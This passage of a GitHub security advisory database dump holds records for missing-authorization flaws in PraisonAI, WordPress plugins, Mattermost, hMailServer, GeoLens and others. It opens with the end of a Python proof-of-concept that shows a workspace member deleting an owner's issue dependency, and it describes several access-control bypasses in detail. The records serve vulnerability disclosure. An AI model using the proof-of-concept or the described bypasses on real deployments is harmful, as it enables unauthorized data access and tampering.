None\n async with engine.begin() as conn:\n await conn.run_sync(Base.metadata.create_all)\n\n app = create_app()\n transport = ASGITransport(app=app)\n async with AsyncClient(transport=transport, base_url=\"http://local-poc\") as client:\n owner_token, owner_id = await _register(client, \"owner@example.com\", \"Owner\")\n member_token, member_id = await _register(client, \"member@example.com\", \"Member\")\n outsider_token, _ = await _register(client, \"outsider@example.com\", \"Outsider\")\n\n owner_headers = {\"Authorization\": f\"Bearer {owner_token}\"}\n member_headers = {\"Authorization\": f\"Bearer {member_token}\"}\n outsider_headers = {\"Authorization\": f\"Bearer {outsider_token}\"}\n\n ws_resp = await client.post(\n \"/api/v1/workspaces/\",\n json={\"name\": \"Shared Workspace\", \"slug\": \"shared-workspace\"},\n headers=owner_headers,\n )\n ws_resp.raise_for_status()\n workspace_id = ws_resp.json()[\"id\"]\n\n add_member = await client.post(\n f\"/api/v1/workspaces/{workspace_id}/members\",\n json={\"user_id\": member_id, \"role\": \"member\"},\n headers=owner_headers,\n )\n add_member.raise_for_status()\n\n owner_issue_id = await _create_issue(\n client, workspace_id, owner_headers, \"Owner-owned blocked issue\"\n )\n member_issue_id = await _create_issue(\n client, workspace_id, member_headers, \"Member-owned related issue\"\n )\n\n dep_resp = await client.post(\n f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/\",\n json={\"depends_on_issue_id\": member_issue_id, \"type\": \"blocks\"},\n headers=owner_headers,\n )\n dep_resp.raise_for_status()\n dep_id = dep_resp.json()[\"id\"]\n\n member_delete_owner_endpoint = await client.delete(\n f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/{dep_id}\",\n headers=member_headers,\n )\n member_delete_member_endpoint = await client.delete(\n f\"/api/v1/workspaces/{workspace_id}/issues/{member_issue_id}/dependencies/{dep_id}\",\n headers=member_headers,\n )\n owner_list_after_member_delete = await client.get(\n f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/\",\n headers=owner_headers,\n )\n\n owner_issue_b = await _create_issue(\n client, workspace_id, owner_headers, \"Owner issue B\"\n )\n owner_issue_c = await _create_issue(\n client, workspace_id, owner_headers, \"Owner issue C\"\n )\n owner_only_dep_resp = await client.post(\n f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_b}/dependencies/\",\n json={\"depends_on_issue_id\": owner_issue_c, \"type\": \"blocks\"},\n headers=owner_headers,\n )\n owner_only_dep_resp.raise_for_status()\n owner_only_dep_id = owner_only_dep_resp.json()[\"id\"]\n member_delete_owner_only_dep = await client.delete(\n f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_b}/dependencies/{owner_only_dep_id}\",\n headers=member_headers,\n )\n owner_delete_owner_only_dep = await client.delete(\n f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_b}/dependencies/{owner_only_dep_id}\",\n headers=owner_headers,\n )\n\n outsider_create_dependency = await client.post(\n f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/\",\n json={\"depends_on_issue_id\": member_issue_id, \"type\": \"blocks\"},\n headers=outsider_headers,\n )\n\n member_created_dep_resp = await client.post(\n f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/\",\n json={\"depends_on_issue_id\": member_issue_id, \"type\": \"related\"},\n headers=member_headers,\n )\n if member_created_dep_resp.status_code == 201:\n member_created_dep_id = member_created_dep_resp.json()[\"id\"]\n await client.delete(\n f\"/api/v1/workspaces/{workspace_id}/issues/{member_issue_id}/dependencies/{member_created_dep_id}\",\n headers=owner_headers,\n )\n\n await engine.dispose()\n base_mod._engine = None\n base_mod._session_factory = None\n\n dependencies_after_delete = (\n owner_list_after_member_delete.json()\n if owner_list_after_member_delete.status_code == 200\n else None\n )\n checks = {\n \"member_delete_owner_issue_endpoint\": member_delete_owner_endpoint.status_code,\n \"member_delete_member_issue_endpoint\": member_delete_member_endpoint.status_code,\n \"owner_dependency_count_after_member_delete\": (\n len(dependencies_after_delete) if dependencies_after_delete is not None else None\n ),\n \"member_delete_owner_only_dependency\": member_delete_owner_only_dep.status_code,\n \"owner_delete_owner_only_dependency\": owner_delete_owner_only_dep.status_code,\n \"non_member_create_dependency\": outsider_create_dependency.status_code,\n \"member_create_dependency_on_owner_issue\": member_created_dep_resp.status_code,\n }\n vulnerable = (\n checks[\"member_delete_owner_issue_endpoint\"] == 403\n and checks[\"member_delete_member_issue_endpoint\"] == 204\n and checks[\"owner_dependency_count_after_member_delete\"] == 0\n and checks[\"member_delete_owner_only_dependency\"] == 403\n and checks[\"owner_delete_owner_only_dependency\"] == 204\n and checks[\"non_member_create_dependency\"] == 403\n and checks[\"member_create_dependency_on_owner_issue\"] == 201\n )\n return {\n \"package\": \"praisonai-platform\",\n \"source\": _source_id(repo),\n \"workspace_role\": \"member\",\n \"summary\": (\n \"A workspace member can delete a dependency edge that protects an owner-created \"\n \"issue by addressing the same dependency through a member-owned related issue.\"\n ),\n \"issue_ids\": {\n \"owner_issue\": owner_issue_id,\n \"member_issue\": member_issue_id,\n },\n \"dependency_id\": dep_id,\n \"checks\": checks,\n \"vulnerable\": vulnerable,\n }\n\n\ndef _source_id(repo: Path | None) -\u003e str:\n if repo is None:\n import importlib.metadata\n\n return f\"pypi:praisonai-platform=={importlib.metadata.version(\u0027praisonai-platform\u0027)}\"\n rev = subprocess.check_output(\n [\"git\", \"-C\", str(repo), \"rev-parse\", \"HEAD\"],\n text=True,\n ).strip()\n return f\"git:{rev}\"\n\n\ndef main() -\u003e int:\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--repo\", type=Path)\n parser.add_argument(\"--json\", action=\"store_true\")\n args = parser.parse_args()\n\n result = asyncio.run(_run(args.repo.resolve() if args.repo else None))\n if args.json:\n print(json.dumps(result, indent=2, sort_keys=True))\n else:\n for key, value in result[\"checks\"].items():\n print(f\"{key}: {value}\")\n print(f\"vulnerable: {result[\u0027vulnerable\u0027]}\")\n return 0 if result[\"vulnerable\"] else 1\n\n\nif __name__ == \"__main__\":\n raise SystemExit(main())\n\n```",
"id": "GHSA-mxmx-rh57-jx58",
"modified": "2026-10-07T14:28:56Z",
"published": "2026-10-07T14:28:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-mxmx-rh57-jx58"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI: Platform members can delete owner issue dependencies through member-owned related issues"
}
GHSA-MXQ6-8688-3XC6
Vulnerability from github – Published: 2026-02-19 18:31 – Updated: 2026-02-20 18:31Missing Authorization vulnerability in scripteo Ads Pro ap-plugin-scripteo allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Ads Pro: from n/a through <= 5.0.
{
"affected": [],
"aliases": [
"CVE-2026-25388"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-19T09:16:20Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in scripteo Ads Pro ap-plugin-scripteo allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Ads Pro: from n/a through \u003c= 5.0.",
"id": "GHSA-mxq6-8688-3xc6",
"modified": "2026-02-20T18:31:27Z",
"published": "2026-02-19T18:31:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25388"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/ap-plugin-scripteo/vulnerability/wordpress-ads-pro-plugin-5-0-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-MXRC-JW32-G6PM
Vulnerability from github – Published: 2025-08-12 09:30 – Updated: 2026-04-01 18:35Insertion of Sensitive Information Into Sent Data vulnerability in Liquid Web GiveWP allows Retrieve Embedded Sensitive Data.This issue affects GiveWP: from n/a before 4.6.1.
{
"affected": [],
"aliases": [
"CVE-2025-47444"
],
"database_specific": {
"cwe_ids": [
"CWE-201",
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-12T07:15:28Z",
"severity": "HIGH"
},
"details": "Insertion of Sensitive Information Into Sent Data vulnerability in Liquid Web GiveWP allows Retrieve Embedded Sensitive Data.This issue affects GiveWP: from n/a before 4.6.1.",
"id": "GHSA-mxrc-jw32-g6pm",
"modified": "2026-04-01T18:35:48Z",
"published": "2025-08-12T09:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47444"
},
{
"type": "WEB",
"url": "https://github.com/impress-org/givewp/issues/8042"
},
{
"type": "WEB",
"url": "https://github.com/impress-org/givewp/issues/8042?_s_id=cve"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/ajax-search-for-woocommerce/vulnerability/wordpress-fibosearch-plugin-1-32-1-broken-access-control-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/give/vulnerability/wordpress-givewp-plugin-4-6-1-pii-sensitive-data-exposure-vulnerability"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/give/vulnerability/wordpress-givewp-plugin-4-6-1-pii-sensitive-data-exposure-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-MXRX-FRP4-4F7M
Vulnerability from github – Published: 2023-09-04 03:30 – Updated: 2024-04-04 07:23In vowifiservice, there is a possible missing permission check.This could lead to local information disclosure with no additional execution privileges
{
"affected": [],
"aliases": [
"CVE-2023-38439"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-09-04T02:15:08Z",
"severity": "MODERATE"
},
"details": "In vowifiservice, there is a possible missing permission check.This could lead to local information disclosure with no additional execution privileges",
"id": "GHSA-mxrx-frp4-4f7m",
"modified": "2024-04-04T07:23:18Z",
"published": "2023-09-04T03:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-38439"
},
{
"type": "WEB",
"url": "https://www.unisoc.com/en_us/secy/announcementDetail/https://www.unisoc.com/en_us/secy/announcementDetail/1698296481653522434"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-MXV8-M55G-XF4P
Vulnerability from github – Published: 2026-06-27 09:30 – Updated: 2026-06-27 09:30The Frisbii Pay plugin for WordPress is vulnerable to unauthorized modification of data due to missing capability checks on the 'upload_csv' and 'process_batch' functions in all versions up to, and including, 1.8.9. This makes it possible for authenticated attackers, with Subscriber-level access and above, to upload arbitrary CSV data and overwrite WooCommerce payment tokens, postmeta, and order meta records.
{
"affected": [],
"aliases": [
"CVE-2026-3462"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-27T08:16:44Z",
"severity": "MODERATE"
},
"details": "The Frisbii Pay plugin for WordPress is vulnerable to unauthorized modification of data due to missing capability checks on the \u0027upload_csv\u0027 and \u0027process_batch\u0027 functions in all versions up to, and including, 1.8.9. This makes it possible for authenticated attackers, with Subscriber-level access and above, to upload arbitrary CSV data and overwrite WooCommerce payment tokens, postmeta, and order meta records.",
"id": "GHSA-mxv8-m55g-xf4p",
"modified": "2026-06-27T09:30:37Z",
"published": "2026-06-27T09:30:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3462"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/reepay-checkout-gateway/trunk/includes/Admin/MigrationMobilepayToVipps.php#L129"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/reepay-checkout-gateway/trunk/includes/Admin/MigrationMobilepayToVipps.php#L170"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/reepay-checkout-gateway/trunk/includes/Admin/MigrationMobilepayToVipps.php#L42"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3485246"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/cf1ca22a-7fb6-457c-bde0-83f6744185be?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-MXXH-FMJQ-J6X4
Vulnerability from github – Published: 2026-04-17 15:31 – Updated: 2026-04-28 23:02Mattermost versions 10.11.x <= 10.11.12 fail to validate whether users were correctly owned by the correct Connected Workspace which allows a malicious remote server connected using the Conntexted Workspaces feature to change the displayed status of local users via the Connected Workspaces API. Mattermost Advisory ID: MMSA-2026-00603.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost-server"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0-20250721062209-4952acea88ce"
},
{
"fixed": "8.0.0-20260316060126-bc1a2b34b1f9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27769"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-28T23:02:16Z",
"nvd_published_at": "2026-04-15T11:16:33Z",
"severity": "LOW"
},
"details": "Mattermost versions 10.11.x \u003c= 10.11.12 fail to validate whether users were correctly owned by the correct Connected Workspace which allows a malicious remote server connected using the Conntexted Workspaces feature to change the displayed status of local users via the Connected Workspaces API. Mattermost Advisory ID: MMSA-2026-00603.",
"id": "GHSA-mxxh-fmjq-j6x4",
"modified": "2026-04-28T23:02:16Z",
"published": "2026-04-17T15:31:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27769"
},
{
"type": "PACKAGE",
"url": "https://github.com/mattermost/mattermost"
},
{
"type": "WEB",
"url": "https://mattermost.com/security-updates"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Mattermost doesn\u0027t validate whether users were correctly owned by the correct Connected Workspace"
}
GHSA-P223-VJJQ-Q36P
Vulnerability from github – Published: 2026-10-08 12:34 – Updated: 2026-10-08 12:34Missing authorization on COM objects in Progressive Robot hMailServer 6.0.0 through 6.3.5 (Windows only) lets a local interactive user with no hMailServer credential read and write arbitrary files as the service account and queue mail as any sender. The service registers its COM classes with no DCOM access or launch permission and calls CoInitializeSecurity with no security descriptor, so any user logged on at the console or over Remote Desktop can activate the classes in the running service; a hMailServer.Message, its Attachments and Attachment, and a hMailServer.FetchAccount created this way carry a credential that never authenticated. Attachments.Add(path) and Attachment.SaveAs(path) performed no authorization check, and Message.Save/Copy and FetchAccount.AccountID/Save performed none either up to 6.3.3 and from 6.3.4 treated a holder with no credential as the server's own event-script host. Because the service does not impersonate the COM caller, Attachments.Add reads any file the service account can read and returns it, Attachment.SaveAs writes attacker-chosen bytes to any path it can write (on a LocalSystem installation, code execution as SYSTEM), Message.Save queues outbound mail from any address past the SMTP checks, and FetchAccount attaches a mail-fetch job to any mailbox. The objects an Application handed out behave the same once a later Authenticate on that Application fails.
{
"affected": [],
"aliases": [
"CVE-2026-104660"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-08T11:16:44Z",
"severity": "HIGH"
},
"details": "Missing authorization on COM objects in Progressive Robot hMailServer 6.0.0 through 6.3.5 (Windows only) lets a local interactive user with no hMailServer credential read and write arbitrary files as the service account and queue mail as any sender. The service registers its COM classes with no DCOM access or launch permission and calls CoInitializeSecurity with no security descriptor, so any user logged on at the console or over Remote Desktop can activate the classes in the running service; a hMailServer.Message, its Attachments and Attachment, and a hMailServer.FetchAccount created this way carry a credential that never authenticated. Attachments.Add(path) and Attachment.SaveAs(path) performed no authorization check, and Message.Save/Copy and FetchAccount.AccountID/Save performed none either up to 6.3.3 and from 6.3.4 treated a holder with no credential as the server\u0027s own event-script host. Because the service does not impersonate the COM caller, Attachments.Add reads any file the service account can read and returns it, Attachment.SaveAs writes attacker-chosen bytes to any path it can write (on a LocalSystem installation, code execution as SYSTEM), Message.Save queues outbound mail from any address past the SMTP checks, and FetchAccount attaches a mail-fetch job to any mailbox. The objects an Application handed out behave the same once a later Authenticate on that Application fails.",
"id": "GHSA-p223-vjjq-q36p",
"modified": "2026-10-08T12:34:26Z",
"published": "2026-10-08T12:34:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104660"
},
{
"type": "WEB",
"url": "https://gitlab.com/hmailserver/hmailserver/-/releases/v6.3.6"
},
{
"type": "WEB",
"url": "https://gitlab.com/hmailserver/hmailserver/-/work_items/59"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-P22X-7843-884Q
Vulnerability from github – Published: 2025-02-03 15:32 – Updated: 2026-04-01 18:33Missing Authorization vulnerability in Amento Tech Pvt ltd WPGuppy allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects WPGuppy: from n/a through 1.1.0.
{
"affected": [],
"aliases": [
"CVE-2025-24643"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-03T15:15:28Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in Amento Tech Pvt ltd WPGuppy allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects WPGuppy: from n/a through 1.1.0.",
"id": "GHSA-p22x-7843-884q",
"modified": "2026-04-01T18:33:32Z",
"published": "2025-02-03T15:32:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24643"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/wpguppy-lite/vulnerability/wordpress-wpguppy-plugin-1-1-0-broken-authentication-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-P23G-MVHJ-JH3J
Vulnerability from github – Published: 2026-08-18 18:00 – Updated: 2026-08-18 18:00Summary
Multiple GeoLens read/link endpoints authorized only the resource named in the request URL (a map, a VRT, a source dataset, an AI request) and failed to re-authorize a second, caller-influenced dataset that the request reached through a relationship, layer reference, mosaic source, or request body. This "authorize the URL resource, read a different dataset un-re-authorized" pattern let callers read data from datasets they have no access to.
The most severe instances require no authentication at all (anonymous,
network-only). Others require only the default editor role that any
self-service signup / upload user receives.
All issues are fixed in 1.2.3. There is no complete configuration workaround — upgrading is the only full remediation.
Impact
Depending on the endpoint, an attacker can read, for datasets they cannot otherwise access:
- the dataset's vector tile data (actual feature geometries/attributes),
- the dataset's raster pixels,
- backing-table rows,
- and metadata — table name, column schema, feature count, extent, source URL/filename, contacts, and sampled row values.
Affected versions
All versions prior to 1.2.3 (includes the published 1.0.0, 1.2.0, and 1.2.2 releases and their PyPI/npm/GHCR artifacts). Fixed in 1.2.3.
Findings
1. Anonymous metadata + private vector-tile disclosure via public maps (PR #235)
GET /maps/{id} and GET /maps/{id}/style.json authorized the map but not
each layer's backing dataset. A public map that references a private dataset
leaked that dataset's table name, column schema, feature count, extent, and
sampled values to anonymous callers. style.json additionally returned a
vector-tile URL carrying an HMAC signature bound to neither user nor map,
which the tile endpoint accepts for non-public datasets with no user check —
so the signature is replayable to read the private dataset's actual vector
tiles. (Anonymous · High)
2. Anonymous private-row disclosure via dataset relationships (PR #234) The dataset FK-relationship APIs authorized only the source dataset from the URL, never the relationship target. A public dataset with a relationship to a private dataset let an anonymous caller enumerate the relationship (obtaining the private target's id/title and the relationship id) and then call the related-record endpoint to read rows from the private target's backing table. (Anonymous · High)
3. Anonymous metadata disclosure via OGC externalId lookup (PR #236)
GET /collections/datasets/items?externalId=<uuid> resolved the dataset by id
and returned the full OGC catalog record (title, summary, bbox, keywords,
contacts, distributions, source org) with no visibility check — the user
was never threaded into the lookup. An anonymous caller could read any
private, restricted, or unpublished dataset's metadata by UUID. (Anonymous ·
High)
4. Cross-tenant raster pixel disclosure via VRT mosaics — SEC-C (PR #237)
An authenticated user with the default editor upload permission could mosaic
another user's private raster into a VRT they own, then read the victim's
pixels back through raster tile / quicklook / COG endpoints that authorize
only the attacker-owned VRT. VRT member pixels are compiled into one served
asset and cannot be filtered at read time, so the fix authorizes every source
dataset at write/link time. (Authenticated editor · High)
5. Cross-tenant metadata/sample-data disclosure via AI metadata endpoints — SEC-D (PR #238)
The POST /ai/metadata/{summary,keywords,lineage,quality-statement} endpoints
were gated only by the use_ai_chat permission (held by the default editor
role). The attacker-controlled dataset_id in the request body flowed into the
LLM prompt context with no visibility filter, rendering any dataset's
title, summary, source URL, filename, column schema, and sample values into
the response. (Authenticated editor · High)
6. Residual VRT member disclosure for legacy links — SEC-E (PR #237)
Link-time authorization (finding 4) does not re-authorize pre-existing
vrt_source_links, so legacy or authorization-drift links still leaked member
metadata and health via the VRT source-listing/status endpoints until a
per-member read filter was added. (Medium)
Patches
Fixed in 1.2.3 by, in order:
31a103b9— fix(catalog): authorize relationship targets in related-record endpoints (#234)01bc87da— fix(maps): re-authorize each layer's dataset on anonymous map read endpoints (#235)407c0688— fix(ogc): enforce dataset visibility on the externalId OGC item lookup (#236)2c031da8— fix(vrt): authorize VRT source datasets at link time + filter unauthorized members on read (#237)07dfb1c6— fix(ai): authorize the requested dataset on AI metadata endpoints (#238)
The fixes follow the codebase's established per-dataset re-authorization pattern
(can_access_dataset / check_dataset_access_or_anonymous), filtering at read
time and authorizing cross-dataset references at link/write time.
Workarounds
There is no complete configuration workaround; the anonymous findings require only network access to the API. Operators who cannot upgrade immediately should restrict network exposure of the API and avoid co-locating private datasets with public maps/relationships, but upgrading to 1.2.3 is the only full remediation.
Remediation
Upgrade to GeoLens 1.2.3:
- Container images: ghcr.io/geolens-io/geolens-api:1.2.3 (+ worker/frontend)
- Python SDK: geolens==1.2.3 · CLI: geolens-cli==1.2.3 · npm: @geolens/sdk@1.2.3
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@geolens/sdk"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.2.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "geolens-cli"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.2.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "geolens"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.2.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55178"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-639",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-18T18:00:07Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nMultiple GeoLens read/link endpoints authorized only the resource named in the\nrequest URL (a map, a VRT, a source dataset, an AI request) and failed to\nre-authorize a **second, caller-influenced dataset** that the request reached\nthrough a relationship, layer reference, mosaic source, or request body. This\n\"authorize the URL resource, read a *different* dataset un-re-authorized\"\npattern let callers read data from datasets they have no access to.\n\nThe most severe instances require **no authentication at all** (anonymous,\nnetwork-only). Others require only the **default `editor` role** that any\nself-service signup / upload user receives.\n\nAll issues are fixed in **1.2.3**. There is no complete configuration\nworkaround \u2014 upgrading is the only full remediation.\n\n### Impact\n\nDepending on the endpoint, an attacker can read, for datasets they cannot\notherwise access:\n\n- the dataset\u0027s **vector tile data** (actual feature geometries/attributes),\n- the dataset\u0027s **raster pixels**,\n- backing-table **rows**,\n- and **metadata** \u2014 table name, column schema, feature count, extent, source\n URL/filename, contacts, and **sampled row values**.\n\n### Affected versions\n\nAll versions **prior to 1.2.3** (includes the published 1.0.0, 1.2.0, and\n1.2.2 releases and their PyPI/npm/GHCR artifacts). Fixed in **1.2.3**.\n\n### Findings\n\n**1. Anonymous metadata + private vector-tile disclosure via public maps (PR #235)**\n`GET /maps/{id}` and `GET /maps/{id}/style.json` authorized the map but not\neach layer\u0027s backing dataset. A public map that references a private dataset\nleaked that dataset\u0027s table name, column schema, feature count, extent, and\nsampled values to anonymous callers. `style.json` additionally returned a\nvector-tile URL carrying an HMAC signature bound to **neither user nor map**,\nwhich the tile endpoint accepts for non-public datasets with no user check \u2014\nso the signature is **replayable** to read the private dataset\u0027s actual vector\ntiles. *(Anonymous \u00b7 High)*\n\n**2. Anonymous private-row disclosure via dataset relationships (PR #234)**\nThe dataset FK-relationship APIs authorized only the source dataset from the\nURL, never the relationship target. A public dataset with a relationship to a\nprivate dataset let an anonymous caller enumerate the relationship (obtaining\nthe private target\u0027s id/title and the relationship id) and then call the\nrelated-record endpoint to read **rows from the private target\u0027s backing\ntable**. *(Anonymous \u00b7 High)*\n\n**3. Anonymous metadata disclosure via OGC `externalId` lookup (PR #236)**\n`GET /collections/datasets/items?externalId=\u003cuuid\u003e` resolved the dataset by id\nand returned the full OGC catalog record (title, summary, bbox, keywords,\ncontacts, distributions, source org) with **no visibility check** \u2014 the user\nwas never threaded into the lookup. An anonymous caller could read any\nprivate, restricted, or unpublished dataset\u0027s metadata by UUID. *(Anonymous \u00b7\nHigh)*\n\n**4. Cross-tenant raster pixel disclosure via VRT mosaics \u2014 SEC-C (PR #237)**\nAn authenticated user with the default `editor` upload permission could mosaic\nanother user\u0027s **private raster** into a VRT they own, then read the victim\u0027s\n**pixels** back through raster tile / quicklook / COG endpoints that authorize\nonly the attacker-owned VRT. VRT member pixels are compiled into one served\nasset and cannot be filtered at read time, so the fix authorizes every source\ndataset at write/link time. *(Authenticated `editor` \u00b7 High)*\n\n**5. Cross-tenant metadata/sample-data disclosure via AI metadata endpoints \u2014 SEC-D (PR #238)**\nThe `POST /ai/metadata/{summary,keywords,lineage,quality-statement}` endpoints\nwere gated only by the `use_ai_chat` permission (held by the default `editor`\nrole). The attacker-controlled `dataset_id` in the request body flowed into the\nLLM prompt context with no visibility filter, rendering **any** dataset\u0027s\ntitle, summary, source URL, filename, column schema, and **sample values** into\nthe response. *(Authenticated `editor` \u00b7 High)*\n\n**6. Residual VRT member disclosure for legacy links \u2014 SEC-E (PR #237)**\nLink-time authorization (finding 4) does not re-authorize pre-existing\n`vrt_source_links`, so legacy or authorization-drift links still leaked member\nmetadata and health via the VRT source-listing/status endpoints until a\nper-member read filter was added. *(Medium)*\n\n### Patches\n\nFixed in **1.2.3** by, in order:\n\n- `31a103b9` \u2014 fix(catalog): authorize relationship targets in related-record endpoints (#234)\n- `01bc87da` \u2014 fix(maps): re-authorize each layer\u0027s dataset on anonymous map read endpoints (#235)\n- `407c0688` \u2014 fix(ogc): enforce dataset visibility on the externalId OGC item lookup (#236)\n- `2c031da8` \u2014 fix(vrt): authorize VRT source datasets at link time + filter unauthorized members on read (#237)\n- `07dfb1c6` \u2014 fix(ai): authorize the requested dataset on AI metadata endpoints (#238)\n\nThe fixes follow the codebase\u0027s established per-dataset re-authorization pattern\n(`can_access_dataset` / `check_dataset_access_or_anonymous`), filtering at read\ntime and authorizing cross-dataset references at link/write time.\n\n### Workarounds\n\nThere is **no complete configuration workaround**; the anonymous findings\nrequire only network access to the API. Operators who cannot upgrade\nimmediately should restrict network exposure of the API and avoid co-locating\nprivate datasets with public maps/relationships, but **upgrading to 1.2.3 is\nthe only full remediation**.\n\n### Remediation\n\nUpgrade to GeoLens **1.2.3**:\n- Container images: `ghcr.io/geolens-io/geolens-api:1.2.3` (+ worker/frontend)\n- Python SDK: `geolens==1.2.3` \u00b7 CLI: `geolens-cli==1.2.3` \u00b7 npm: `@geolens/sdk@1.2.3`",
"id": "GHSA-p23g-mvhj-jh3j",
"modified": "2026-08-18T18:00:08Z",
"published": "2026-08-18T18:00:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/geolens-io/geolens/security/advisories/GHSA-p23g-mvhj-jh3j"
},
{
"type": "WEB",
"url": "https://github.com/geolens-io/geolens/pull/234"
},
{
"type": "WEB",
"url": "https://github.com/geolens-io/geolens/pull/235"
},
{
"type": "WEB",
"url": "https://github.com/geolens-io/geolens/pull/236"
},
{
"type": "WEB",
"url": "https://github.com/geolens-io/geolens/pull/237"
},
{
"type": "WEB",
"url": "https://github.com/geolens-io/geolens/pull/238"
},
{
"type": "PACKAGE",
"url": "https://github.com/geolens-io/geolens"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "GeoLens: Cross-dataset authorization bypass discloses private dataset metadata, schema, sample values, table rows, and raster/vector tile data"
}
GHSA-P23H-Q3G8-95Q2
